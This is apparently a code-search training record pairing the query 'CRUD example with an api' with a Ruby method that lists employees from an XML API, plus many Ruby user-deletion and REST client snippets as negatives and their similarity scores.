"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #@user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.xml { head :no_content }\n end\n end",
"def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(scriptwords_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(:first, :conditions => [\"id = ?\", params[:id]])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to(users_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\nend",
"def destroy\r\n @user.destroy\r\n \r\n respond_to do |format|\r\n format.html { redirect_to users_url }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to(admin_users_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @usuario = User.find(params[:id])\n @usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #@user = User.find_by_login(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def delete(context, name)\n res = context.transport.delete_request(context, \"security/users/#{name}\")\n\n context.err(name, res.body) unless res.success?\n end",
"def delete_user(id)\n elektron_identity.delete(\"users/#{id}\")\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted user #{@user.name}\")\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n flash[:notice] = \"User #{@user.login} deleted\"\n \n respond_to do |format|\n format.html { redirect_to(space_users_path(@space)) }\n format.xml { head :ok }\n format.atom { head :ok }\n end\n end",
"def remove_user\n query_api '/rest/user', nil, 'DELETE'\n end",
"def destroy\n\t\tparams.permit!\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def user_delete(user_id)\n\t\tdelete_call = Curl::Easy.http_delete(\"#{@ip_address}:#{@port_2}/v2.0/users/#{user_id}\"\n\t\t) do |curl|\n\t\t\tcurl.headers['x-auth-token'] = @token\n\t\t\tcurl.headers['userId'] = user_id\n\t\tend\n\t\n\tend",
"def destroy\n redirect_to(:action=>\"index\") if session[:user_id] != params[:id].to_i\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user_name = UserName.find(params[:id])\n @user_name.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_names_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find_by_id(params[:id])\n if @user.nil?\n redirect_back_or_default('/')\n end\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n flash[:notice] = 'User was successfully deleted.'\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @user = User.find(params[:id])\n if (session[:user] && session[:user].admin == 1)\n User.destroyCascade(@user)\n end\n \n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def delete_user\n end",
"def destroy\n @user = @current_user\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_back_or_default(users_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n @linked_user.delete(@uri)\n end",
"def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend",
"def destroy\n @email_user = Email::User.find(params[:id])\n @email_user.destroy\n\n respond_to do |format|\n format.html { redirect_to(email_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n if current_user == @user\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n else\n flash[:error] = \"Naughty naughty. You can't delete other people.\"\n end\n end",
"def destroy\n @usertogo = User.find(params[:id])\n @usertogo.destroy\n \n respond_to do |format|\n flash[:success] = \"User destroyed.\"\n format.html { redirect_to(root_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @userinfo = Userinfo.find(params[:id])\n @userinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(userinfos_url) }\n format.xml { head :ok }\n end\n end",
"def delete_user(userid) \n $db.execute('DELETE FROM users WHERE userid=?', userid)\n end",
"def delete_user(uid)\n begin\n RestClient.delete construct_url(\"user/#{uid}\")\n true\n rescue RestClient::BadRequest => e\n @last_error = e.http_body\n @last_error_code = e.http_code\n false\n end \n end",
"def destroy\n\t\t@user = User.find(params[:id])\n\t\t@user.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(users_path) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend",
"def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_id(params[:id])\n @user.destroy\n #reset_session\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n User.cascade_delete(@user)\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\t\t@user = User.find(params[:id])\n\t\t@user.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(users_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend",
"def destroy\n\t\t@user = User.find(params[:id])\n\t\t@user.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(users_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend"
] |
[
"0.7177572",
"0.7172003",
"0.70611066",
"0.70607454",
"0.7031703",
"0.70033735",
"0.69609874",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.6912414",
"0.68964374",
"0.68964374",
"0.68916017",
"0.68899393",
"0.68882316",
"0.6878408",
"0.6876417",
"0.68727493",
"0.6872259",
"0.6872259",
"0.6872259",
"0.686118",
"0.6858945",
"0.6841222",
"0.6818538",
"0.6785725",
"0.6777712",
"0.6769458",
"0.6765244",
"0.6765244",
"0.6722511",
"0.66939366",
"0.6676845",
"0.66544235",
"0.66541135",
"0.6642127",
"0.6621156",
"0.6598033",
"0.65879655",
"0.65866137",
"0.65792215",
"0.65769917",
"0.6571811",
"0.655682",
"0.65493405",
"0.65440935",
"0.6540844",
"0.6532693",
"0.65297073",
"0.65224296",
"0.65177613",
"0.65102684",
"0.64982027",
"0.6494584",
"0.6494342",
"0.64921266",
"0.64917856",
"0.64766866",
"0.6475187",
"0.6466928",
"0.6459465",
"0.6459465"
] |
0.0
|
-1
|
CRUD example with an api
|
def list_employees(api_object)
puts "Current Employees:"
doc = Nokogiri::XML.parse api_object.read
names = doc.xpath('employees/employee/name').collect {|e| e.text }
puts names.join(", ")
puts ""
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def api; end",
"def api; end",
"def crud *args\n @crud = args.first if args.size > 0\n end",
"def demo(id)\n get_record \"/demos/#{id}\"\n end",
"def index\n @apis = Api.all.order(:status)\n @api = Api.new\n end",
"def define_restful_api(model)\n get \"/#{model.resource}\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors { json model.all }\n end\n\n get \"/#{model.resource}/:id\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors do\n result = model.find_by_id(params[:id])\n halt 404 if result.nil?\n json result\n end\n end\n\n post \"/#{model.resource}\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors { json model.create(@json_payload) }\n end\n\n patch \"/#{model.resource}/:id\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors { json model.update(params[:id], @json_payload) }\n end\n\n delete \"/#{model.resource}/:id\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors { model.delete(params[:id]) }\n end\n\n private\n def catch_errors()\n begin\n yield\n rescue Exception => e\n logger.fatal(\"Exception: #{e}\")\n status 500\n json({'error' => e})\n end\n end\nend",
"def set_api_v1_todo\n @api_v1_todo = Todo.find(params[:id])\n end",
"def set_api_hello\n @api_hello = Api::Hello.find(params[:id])\n end",
"def create_api_instance\n facturama_user='prueba'\n facturama_password='pruebas2011'\n is_development = true # true = Modo de pruebas / sandbox, false = Modo de Producción (Timbrado real)\n\n\n #Creacion de una instancia de FacturamaApi\n Facturama::FacturamaApiWeb.new(facturama_user,facturama_password,is_development)\n end",
"def crud\n # TODO: The `Array` below has the four letters that make up the `CRUD`\n # acronym. Update each element of the array so that you write out the\n # four verbs that describe the CRUD actions.\n\n ['C', 'R', 'U', 'D']\nend",
"def query\n end",
"def like\n \n Like.create( id_api: params[:id_api], user: current_user)\n render json: {text: \"create\"}\n \n \n \nend",
"def prepare_pet(pet_api)\n pet_id = random_id\n category = Petstore::Category.new('id' => 20002, 'name' => 'category test')\n tag = Petstore::Tag.new('id' => 30002, 'name' => 'tag test')\n pet = Petstore::Pet.new('id' => pet_id, 'name' => \"RUBY UNIT TESTING\", 'photo_urls' => 'photo url',\n 'category' => category, 'tags' => [tag], 'status' => 'pending')\n pet_api.add_pet(pet)\n pet_id\nend",
"def index\n @api_hellos = Api::Hello.all\n end",
"def prepare_pet\n # remove the pet\n SwaggerClient::PetApi.delete_pet(10002)\n # recreate the pet\n pet = SwaggerClient::Pet.new('id' => 10002, 'name' => \"RUBY UNIT TESTING\")\n SwaggerClient::PetApi.add_pet(:body => pet)\nend",
"def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end",
"def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end",
"def create_example_collection(user)\n collection = Collection.create(\n name: 'Examples',\n user_id: user.id\n )\n req_a = Request.create(\n title: 'GET with params and api_key',\n method: 'GET',\n url: 'https://calendarific.com/api/v2/holidays',\n collection_id: collection.id\n )\n attr_a = [{attr_type: 'params', key: 'country', value: 'US', description: 'get all US holidays'},\n {attr_type: 'params', key: 'year', value: '2020', description: 'for 2020'},\n {attr_type: 'auth', key: 'api_key', value: '823747516d829b140ef9807ad001d167526c64bf', description: 'params'}]\n attr_a.each do |atr|\n Attrib.create(\n attr_type: atr[:attr_type],\n key: atr[:key],\n value: atr[:value],\n description: atr[:description],\n request_id: req_a.id\n )\n end\n\n req_b = Request.create(\n title: 'GET User not found 404',\n method: 'GET',\n url: 'https://reqres.in/api/users/23',\n collection_id: collection.id\n )\n\n req_c = Request.create(\n title: 'POST Create user',\n method: 'POST',\n url: 'https://reqres.in/api/users',\n collection_id: collection.id\n )\n Attrib.create(\n attr_type: 'headers',\n key: 'Content-type',\n value: 'application/json',\n description: '',\n request_id: req_c.id\n )\n Body.create(\n body_type: 'Raw',\n key: '',\n value: '',\n description: '',\n raw_body: \n'{\n \"name\": \"morpheus\",\n \"job\": \"leader\"\n}',\n request_id: req_c.id\n )\n\n req_d = Request.create(\n title: 'UPDATE an employee record',\n method: 'PUT',\n url: 'http://dummy.restapiexample.com/api/v1/update/21',\n collection_id: collection.id\n )\n Attrib.create(\n attr_type: 'headers',\n key: 'Content-type',\n value: 'application/json',\n description: '',\n request_id: req_d.id\n )\n Body.create(\n body_type: 'Raw',\n key: '',\n value: '',\n description: '',\n raw_body: \n'{\n \"name\":\"test1\",\n \"salary\":\"1123\",\n \"age\":\"23\"\n}',\n request_id: req_d.id\n )\n \n req_e = Request.create(\n title: 'DELETE a resource',\n method: 'DELETE',\n url: 'https://jsonplaceholder.typicode.com/posts/1',\n collection_id: collection.id\n )\n end",
"def set_api\n @api = Api.find(params[:id])\n end",
"def scaffold\n response_json = RestClient.post(api_path, params.except(:action, :controller))\n\n render template: \"rspec/show\", locals: JSON.parse(response_json)\n end",
"def index\n @api_v1_todos = Todo.all\n render json: @api_v1_todos\n end",
"def create_api_instance\n facturama_user='prueba'\n facturama_password='pruebas2011'\n is_development = true # true = Modo de pruebas / sandbox, false = Modo de Producción (Timbrado real)\n\n\n #Creacion de una instancia de FacturamaApiMultiemisor\n Facturama::FacturamaApiMulti.new(facturama_user,facturama_password,is_development)\n end",
"def index\n @api_v1_exercises = Api::V1::Exercise.all\n end",
"def apis; end",
"def set_api\n @api = Api.find(params[:id])\n end",
"def set_api\n @api = Api.find(params[:id])\n end",
"def test_scenario1\n puts \"\\nTesting projects REST api calls\\n\" \n name = \"my project\"\n new_name = \"my new project\"\n\n puts \"Given I create a project with name \"+ name\n project = @api.create_project({'name' => name})\n\n puts \"And I wait until project is ready\"\n assert_equal(@api.ok(project), true)\n\n puts \"Then I check project name is \" + project[\"object\"][\"name\"]\n assert_equal(name, project[\"object\"][\"name\"])\n\n puts \"And I update the project with new name \"+new_name\n project = @api.update_project(project[\"resource\"], {\"name\" => new_name})\n assert_equal(BigML::HTTP_ACCEPTED, project[\"code\"])\n\n puts \"Then I check the project name is a new name \"+new_name\n assert_equal(new_name, project[\"object\"][\"name\"]) \n\n puts \"And i delete the project\"\n project = @api.delete_project(project[\"resource\"])\n assert_equal(BigML::HTTP_NO_CONTENT, project[\"code\"])\n\n end",
"def test_should_create_project_via_API_JSON\r\n get \"/logout\"\r\n post \"/projects.json\", :api_key => 'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n project = JSON.parse(response.body)\r\n check_new_project(project) \r\n end",
"def get_list(id)\n record \"/todos/list/#{id}\"\n end",
"def query; end",
"def prepare_pet(pet_api)\n pet_id = random_id\n category = Petstore::Category.new('id' => 20002, 'name' => 'category test')\n tag = Petstore::Tag.new('id' => 30002, 'name' => 'tag test')\n pet = Petstore::Pet.new('id' => pet_id, 'name' => \"RUBY UNIT TESTING\", 'photo_urls' => 'photo url',\n 'category' => category, 'tags' => [tag], 'status' => 'pending')\n pet_api.add_pet(pet)\n return pet_id\nend",
"def call_api\n @client.build_url\n @client.get\n assign_data\n end",
"def index\n @apis = Api.all\n end",
"def create\n @api = Api.new(api_params)\n current_user.apis << @api\n respond_to do |format|\n\n if @api.save\n format.html { redirect_to user_path(current_user), notice: 'Api-nyckeln har skapats' }\n format.json { render :show, status: :created, location: @api }\n else\n format.html { render :new }\n format.json { render json: @api.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend",
"def fetch_products_with_api\n api_items.each do |api_item|\n products.create_from_api api_item\n end\n end",
"def index\n @rest_apis = RestApi.all\n end",
"def create\n\n\t\t\t\t\t# attributes\n\t\t\t\t\tbegin\n\t\t\t\t\t\tattrs = jsonapi_received_attributes\n\t\t\t\t\t\tif attrs\n\t\t\t\t\t\t\tif @jsonapi_record\n\t\t\t\t\t\t\t\t# update\n\t\t\t\t\t\t\t\t@jsonapi_record.update! attrs\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t# create\n\t\t\t\t\t\t\t\t@jsonapi_record = jsonapi_model_class.new attrs\n\t\t\t\t\t\t\t\t@jsonapi_record.save!\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\trescue NameError => e\n\t\t\t\t\t\tjsonapi_render_errors 500, \"Model class not found.\"\n\t\t\t\t\t\treturn\n\t\t\t\t\trescue \n\t\t\t\t\t\tjsonapi_render_errors 500, @jsonapi_record.to_jsonapi_errors_hash\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\n\t\t\t\t\t# relationships\n\t\t\t\t\tjsonapi_received_relationships.each do |relationship|\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t\t# to-one\n\t\t\t\t\t\t\t\tif relationship[:definition][:type] == :to_one\n\t\t\t\t\t\t\t\t\t@jsonapi_record.send :\"#{relationship[:definition][:name]}=\", relationship[:params][:data]\n\t\t\t\t\t\t\t\t\tnext\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\t# to-many\n\t\t\t\t\t\t\t\t@jsonapi_record.send(relationship[:definition][:name]).send :clear # initialize the relation\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\trelationship[:params][:data].each do |item|\n\t\t\t\t\t\t\t\t\tobject = relationship[:receiver][:class].find_by_id item[:id]\n\t\t\t\t\t\t\t\t\t@jsonapi_record.send(relationship[:definition][:name]).send :<<, object\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\trescue \n\t\t\t\t\t\t\t# Should not happen\n\t\t\t\t\t\t\tjsonapi_render_errors 500, \"Relationship could not be created.\"\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tshow\n\t\t\t\tend",
"def import_api(name)\n post(\"/apis\", {:action => 'import', :name => name})\n end",
"def create\n @api_book = Api::Book.new(api_book_params)\n\n if @api_book.save\n render json: @api_book, status: :created, location: @api_book\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end",
"def create\n @api = Api.new(api_params)\n\n respond_to do |format|\n if @api.save\n format.html { redirect_to @api, notice: 'Api criada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @api }\n else\n format.html { render action: 'new' }\n format.json { render json: @api.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api\n @api = Api.find(params[:id])\n rescue\n @api = Api.new\n end",
"def api\n if params[:company_id] && params[:post_token]\n Post.new_post(params[:company_id], params[:post_token])\n end\n end",
"def show\n render json: @api_v1_todo\n end",
"def fabricate_via_api!\n validate_reuse_preconditions\n\n resource_web_url(api_get)\n rescue Errors::ResourceNotFoundError\n super\n ensure\n self.class.resources[reuse_as] ||= {\n tests: Set.new,\n resource: self\n }\n\n self.class.resources[reuse_as][:attributes] ||= all_attributes.each_with_object({}) do |attribute_name, attributes|\n attributes[attribute_name] = instance_variable_get(\"@#{attribute_name}\")\n end\n self.class.resources[reuse_as][:tests] << Runtime::Example.location\n end",
"def database_sync_api\n snacks = Suggestion.all\n\n snacks.each do |snack|\n if !api_snack_checker?(snack.name)\n data_to_api(snack.name, snack.location, snack.optional)\n end\n end\n end",
"def demos\n get_records \"demo\", \"/demos\"\n end",
"def crud_post(resource_name, service_name, primary_key_name, api_options = {})\n api_options = get_defaults(api_options)\n post '/'+resource_name do\n service = settings.send(service_name)\n\n # Get The data\n begin\n data = JSON.parse(request.body.read)\n rescue Exception => e\n return 422\n end\n\n # Valid POST?\n return 422 unless service.valid_insert?(data)\n\n # Already Exists?\n return 409 if service.exists_by_primary_key?(data[primary_key_name])\n\n # Do Insert\n record = service.insert(data)\n\n # Other Error\n return 500 if record.nil?\n\n # Output new record\n JSON.fast_generate record\n end\n end",
"def api(command, options = {})\n client.api(command, options)\n end",
"def api(command, options = {})\n client.api(command, options)\n end",
"def create\n @api = Api.new(params[:api])\n\n respond_to do |format|\n if @api.save\n format.html { redirect_to apis_url, notice: 'Api was successfully created.' }\n format.json { render json: @api, status: :created, location: @api }\n else\n format.html { render action: \"new\" }\n format.json { render json: @api.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api\n @api\n end",
"def app_update\n \tapi_detail = ApiDetail.find_by(api_version: 'v1', device_type: 0)\n render_success(api_detail_result(api_detail)) \n end",
"def create\n @api = Api.new(api_params)\n\n respond_to do |format|\n if @api.save\n format.html { redirect_to @api, notice: 'Api was successfully created.' }\n format.json { render :show, status: :created, location: @api }\n else\n format.html { render :new }\n format.json { render json: @api.errors, status: :unprocessable_entity }\n end\n end\n end",
"def app_update\n \tapi_detail = ApiDetail.find_by(api_version: 'v1', device_type: 0)\n render_success(api_detail_result(api_detail)) \n end",
"def create\r\n\r\n\r\n end",
"def _crud(for_select = true)\n fetch_array_for $_crud, for_select\n end",
"def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end",
"def post\n \"\n desc 'create #{resource.singularize}' do\n tags %w[#{resource.singularize}]\n end\n params do\n # TODO: specify the parameters\n end\n post do\n # your code goes here\n end\"\n end",
"def show\n # placeholder code\n jsonapi_render_errors status: :unprocessable_entity\n # original code\n # @entry = retrieve_service.execute(name: params[:id])\n # return not_found unless @entry\n # jsonapi_render json: @entry\n end",
"def test_user_features\n \n # create new user\n post '/user', \"{ \\\"First Name\\\": \\\"Tom\\\", \\\"Last Name\\\": \\\"#{$user_name}\\\", \\\"User Login\\\": \\\"#{$user_name}\\\", \\\"act_key\\\": 1, \\\"Role\\\": \\\"Full-Time\\\" }\"\n assert (last_response.status == 200), \"Create user: response is not 200\"\n \n # get user with Last Name \"$user_guid\"\n get \"/user?Last%20Name=#{$user_name}\"\n $user_guid = JSON::parse(last_response.body)[0]['usr_key']\n assert (last_response.body.size > 50), \"Get user by name: response too small for valid data\"\n\n # modify user with guid defined in @guid variable\n put \"/user/#{$user_guid}\", '{\"Fax\": \"12345\", \"Description\": \"User Description\"}'\n assert (last_response.status == 200), \"Put user (modify): response is not 200\"\n \n # get user with uid defined in $user_guid variable\n get \"/user/#{$user_guid}\"\n assert (last_response.body.size > 50), \"Get user by id: response too small for valid data\"\n\n # change password for user with guid defined in $user_guid variable\n put \"/user/#{$user_guid}/password\", '{\"password\": \"Montag14\", \"notify_racf\": \"false\"}'\n assert (last_response.status == 200), \"Response is not 200\"\n \n # get user with uid defined in $user_name variable\n get \"/#{$user_name}\"\n assert (last_response.body.size > 50), \"Get user by username: response too small for valid data\"\n\n ## change password for user with user login defined in $user_name variable\n put \"/#{$user_name}/password\", '{\"password\": \"Montag15\", \"notify_racf\": false}'\n assert (last_response.status == 200), \"Response is not 200\"\n \n # get all users\n get '/user'\n assert (last_response.body.size > 50), \"Get all users: Response too small for valid data\"\n\n # get available user attributes\n get '/user/attributes'\n assert (last_response.body.size > 50), \"Get user attributes: Response too small for valid data\"\n \n # delete user with uid defined in @guid variable\n delete \"/user/#{$user_guid}\"\n assert (last_response.status == 204), \"Response is not 204\"\n end",
"def test_api_create\n assert_nothing_raised do\n new_api\n end\n end",
"def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end",
"def create\n @api_v1_todo = Todo.new(api_v1_todo_params)\n\n respond_to do |format|\n if @api_v1_todo.save\n format.json { render json: @api_v1_todo, status: :created }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_by_api(params = {})\n create_by_translator params_to_translator(params)\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def set_api_v1_post\n @api_v1_post = Api::V1::Post.find(params[:id])\n end",
"def set_rest_api\n @rest_api = RestApi.find(params[:id])\n end",
"def create\n @api_post = Api::Post.new(api_post_params)\n\n if @api_post.save\n render json: @api_post, status: :created, location: @api_post\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def index\n @apis = Api.all(:order => \"query\")\n #@apis = Api.order(\"query\").page(params[:page]).per(20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apis }\n end\n end",
"def find(id)\n @api.get(\"api/#{id.to_s}.json\")\n end",
"def create\n @api_hello = Api::Hello.new(api_hello_params)\n\n respond_to do |format|\n if @api_hello.save\n format.html { redirect_to @api_hello, notice: 'Hello was successfully created.' }\n format.json { render :show, status: :created, location: @api_hello }\n else\n format.html { render :new }\n format.json { render json: @api_hello.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n console\n @api_key = ENV['OMDB_API_KEY']\n @searches = Search.all\n\n @title = \"\"\n @year = \"\"\n \n @movie = params[\"watchlist\"]\n \n if @movie.present?\n @title = @movie[\"title\"]\n @year = @movie[\"year\"]\n end\n\n unless @title.ascii_only? then\n @title = @title.delete!(\"^\\u{0000}-\\u{007F}\")\n end\n unless @year.ascii_only? then\n @year = @year.delete!(\"^\\u{0000}-\\u{007F}\")\n end\n \n if @year.nil?\n @datas = HTTParty.get('http://www.omdbapi.com/?apikey='+@api_key+'&t='+@title)\n elsif @title.nil?\n @datas = HTTParty.get('http://www.omdbapi.com/?apikey='+@api_key+'&y='+@year)\n elsif @title.nil? & @year.nil?\n @title = \"Avengers\" # Sample Movie from DataBase\n @year = \"2012\" # Sample Movie from DataBase\n @datas = HTTParty.get('http://www.omdbapi.com/?apikey='+@api_key+'&t='+@title+'&y='+@year)\n else\n @datas = HTTParty.get('http://www.omdbapi.com/?apikey='+@api_key+'&t='+@title+'&y='+@year)\n end\n \n #resp.body # => displays body of the response\n \n @parsed_json = JSON.parse(@datas.body) # => parses JSON if you need to parse it\n\n end",
"def create_or_update_by_api(params = {})\n babel = params_to_translator(params)\n record = find_by_translator(babel).first\n record.present? ? update_by_translator(babel, record) : create_by_translator(babel)\n end",
"def make_api_call(url, api_params)\n RestClient.post(url, api_params, content_type: :json)\n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
